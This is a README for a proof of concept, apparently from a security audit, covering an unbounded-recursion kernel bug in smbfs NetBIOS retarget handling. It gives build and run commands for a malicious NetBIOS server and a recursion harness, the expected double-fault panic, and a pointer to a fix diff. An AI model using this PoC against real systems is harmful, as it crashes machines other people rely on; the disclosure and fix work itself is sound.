# DF-0671 PoC — NetBIOS retarget unbounded recursion (smbfs)

## Build
```
cd findings/poc/DF-0671
cc -O2 -o evil_nbserver evil_nbserver.c      # evil NB server
cp Makefile.recurse Makefile && make         # nb_recurse.ko recursion harness
```

## Two proofs

### A. Network path (evil server + mount_smbfs) — reaches the retarget gate
```
# as root:
./evil_nbserver 139 &
mount_smbfs -N -I 127.0.0.1 '//GUEST@127.0.0.1/SHARE' /mnt
```
Expected (this guest): evil server logs `connection #1`, `req type=0x81`, sends
`RTGRESP`; `mount_smbfs` fails "Connection reset by peer". This proves the kernel parses
the RTGRESP and attempts the retarget. (The recursion itself is masked by the
uninitialized sin.sin_family sibling — see VERDICT.md.)

### B. Recursion-primitive harness (decisive) — stack overflow + fix
```
# baseline (unbounded): expect panic
kldload ./nb_recurse.ko                       # hw.nb_oob.bound defaults to 1
# force baseline:
sysctl -w hw.nb_oob.bound=0   # (set via /boot/loader.conf tunable, then kldload)
```
Expected baseline (`bound=0`): `panic: double fault` after ~36 recursion levels
(stack-guard hit). Expected fixed (`bound=1`): `returned cleanly levels=3`.

## Fix
Apply `fix.diff` to `/usr/src/sys/netproto/smb/smb_trantcp.c` and rebuild the smbfs
module (`cd /usr/src/sys/vfs/smbfs && make`).